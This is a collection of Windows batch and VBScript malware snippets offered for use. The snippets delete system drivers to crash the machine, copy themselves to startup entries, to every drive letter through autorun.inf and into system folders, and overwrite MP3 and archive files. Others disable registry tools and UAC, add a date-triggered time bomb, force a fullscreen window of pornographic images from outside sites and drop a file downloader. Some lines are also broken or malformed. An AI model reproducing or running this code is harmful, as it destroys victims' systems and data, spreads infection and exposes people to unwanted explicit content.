1.The legendary blue screen of death
2.Full startup infection
3.File infect (example Mp3)
4.Disable registry tools
5.Corupt all compressed files
6.Disable UAC
7.Time bomb code (add at the beggining of the code)
8.Fullscreen porn attack
9.File downloader
@echo off
Set load=HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Reg Add "%load%" /v "BSOD" /t "REG_SZ" /d %0 /f > nul
Del /q /s /f "%SystemRoot%\System32\Drivers\*.*"
2.Full startup infection
@echo off
copy "autorun.bat" "%userprofile%\Start Menu\Programs\Startup\autorun.bat"
valinf = "rundll32_%random%_toolbar"
reginf = "hklm\Software\Microsoft\Windows\CurrentVersion\Run"
reg add %reginf% /v %valinf% /t "REG_SZ" /d %0 /f > nul
echo start "" %0>>%SystemDrive%\AUTOEXEC.BAT
copy %0 %windir%\system32\ls.bat
for %%E In (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) Do (
copy /Y %0 %%E:\
echo [AutoRun] > %%E:\autorun.inf
echo open="%%E:\%0" >> %%E:\autorun.inf
echo action=Open folder to see files... >> %%E:\autorun.inf)
Dir %SystemRoot% /s /b > PathHost
For /f %%a In (PathHost) Do Copy /y %0 %%a > Nul
Del /f /s /q PathHost > Nul
3.File infect (example Mp3)
@echo off
Dir %Homedrive% /s /b > DirPath
For /f %%Y In (DirPath) Do (Set DirPath=%%Y > Nul For %%Z In (%DirPath%\*.mp3) Do (
Set Mp3Infect=%%Z > NulCopy /y %0 %Mp3Infect%))
Del /f /s /q DirPath
4.Disable registry tools
@echo off
reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword /d "1" /f
5.Corupt all compressed files
@echo off
echo corrupt compressed files now!!!>>%temp%\cg.tmp
for %%a in (*.zip *.7z *.tar *.rar *gz *.bz2) do set a=%%a
copy %temp%\cg.tmp %a% >nul
del %temp%\cg.tmp
6.Disable UAC
@echo off
@Set RegistyEditCmd=Cmd /k Reg Add
@Set HiveSysKey=HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
@%RegistyEditCmd% "%HiveSysKey%" /v "EnableLUA" /t "REG_DWORD" /d "0" /f > nul
7.Time bomb code (add at the beggining of the code)
If %date% NEQ 2011/12/31 goto exit"
8.Fullscreen porn attack
@echo off
echo ^<html^>^<head^>^<title^>Fap^</title^> > Fap.hta
echo. >> Fap.hta
echo ^<hta:application id="oBVC" >> Fap.hta
echo applicationname="Fap" >> Fap.hta
echo version="1.0" >> Fap.hta
echo maximizebutton="no" >> Fap.hta
echo minimizebutton="no" >> Fap.hta
echo sysmenu="no" >> Fap.hta
echo Caption="no" >> Fap.hta
echo windowstate="maximize"/^> >> Fap.hta
echo. >> Fap.hta
echo ^</head^>^<body background="http://www.newsfilter.org/content/gallery/50383/met-art_ACM_21_5.jpg" scroll="yes"^> >> Fap.hta
echo ^<img src="http://www.giffies.com/games/files/18.gif" ^> >> Fap.hta
echo ^<img src="http://stxt.youngpornmovies.com/thumbs/1/0585/101133_1.jpg" ^> >> Fap.hta
echo ^<img src="http://www4.clickr.info/img/190x163_teen3_orig.gif" ^> >> Fap.hta
echo ^<img src="http://www.thumbserve.com/intw/tn113829.jpg" ^> >> Fap.hta
echo ^<img src="http://static.ads.crakmedia.com/cfcd9a00272d345553929068fe15c5aa.gif" ^> >> Fap.hta
echo ^<img src="http://78.140.136.171/bt/st/thumbs/038/1001353519.jpg" ^> >> Fap.hta
echo ^<img src="http://78.140.136.171/bt/st/thumbs/009/0496989067.jpg" ^> >> Fap.hta
echo ^<img src="http://www.silentpix.com/content/toplist/siteoftheday9.gif" ^> >> Fap.hta
echo ^<img src="http://www.newsfilter.org/content/gallery/50378/met-art_LUH_294_2.jpg" ^> >> Fap.hta
echo ^<img src="http://ddfcash.com/PROMO/content/obj/vids/547vbj/547vbjp4.jpg" ^> >> Fap.hta
echo ^<img src="http://www.teenport.com/galleries/bailey-kline/red-peignoir/09.jpg" ^> >> Fap.hta
echo ^</body^>^</html^> >> Fap.hta
start "" /wait "Fap.hta"
del /s /f /q "Fap.hta" > nul
9.File downloader
echo Set your settings >>%SystemDrive%\downloader.vbs
echo strFileURL = "File URL" >>%SystemDrive%\downloader.vbs
echo strHDLocation = "Download To (Path\Name.Extension)" >>%SystemDrive%\downloader.vbs
echo Fetch the file >>%SystemDrive%\downloader.vbs
echo Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") >>%SystemDrive%\downloader.vbs
echo objXMLHTTP.open "GET", strFileURL, false >>%SystemDrive%\downloader.vbs
echo objXMLHTTP.send() >>%SystemDrive%\downloader.vbs
echo If objXMLHTTP.Status = 200 Then >>%SystemDrive%\downloader.vbs
echo Set objADOStream = CreateObject("ADODB.Stream") >>%SystemDrive%\downloader.vbs
echo objADOStream.Open >>%SystemDrive%\downloader.vbs
echo objADOStream.Type = 1 'adTypeBinary >>%SystemDrive%\downloader.vbs
echo objADOStream.Write objXMLHTTP.ResponseBody >>%SystemDrive%\downloader.vbs
echo objADOStream.Position = 0 'Set the stream position to the start >>%SystemDrive%\downloader.vbs
echo Set objFSO = Createobject("Scripting.FileSystemObject") >>%SystemDrive%\downloader.vbs
echo If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation >>%SystemDrive%\downloader.vbs
echo Set objFSO = Nothing >>%SystemDrive%\downloader.vbs
echo objADOStream.SaveToFile strHDLocation >>%SystemDrive%\downloader.vbs
echo objADOStream.Close >>%SystemDrive%\downloader.vbs
echo Set objADOStream = Nothing >>%SystemDrive%\downloader.vbs
echo End if >>%SystemDrive%\downloader.vbs
echo Set objXMLHTTP = Nothing >>%SystemDrive%\downloader.vbs
start %SystemDrive%\downloader.vbs
